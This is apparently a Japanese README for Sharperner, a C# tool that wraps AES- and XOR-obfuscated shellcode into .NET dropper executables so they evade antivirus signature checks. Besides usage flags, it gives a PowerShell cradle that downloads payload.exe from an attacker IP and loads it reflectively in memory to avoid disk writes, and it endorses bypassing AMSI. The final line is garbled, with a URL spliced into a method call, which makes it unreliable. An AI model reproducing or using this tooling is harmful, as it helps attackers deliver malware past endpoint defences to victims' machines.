
暗号化されたシェルコードを用いたシンプルな実行可能ファイル生成ツール
Sharperner は、AES および XOR で難読化されたシェルコードを使用して .NET ドロッパーを生成する CSharp 製のツールです。生成された実行ファイルはシグネチャチェックを回避できる可能性がありますが、ヒューリスティックスキャンを回避できるかは確かではありません。
/file B64,hex,raw シェルコード
/type cs,cpp
/out 出力ファイルの場所 (オプション)
例:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
ディスクへの書き込みを避けるために、生成された .NET 実行ファイルは PowerShell でリフレクティブにロードできます。AMSI が今や敵です。amsi.fail ftw!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()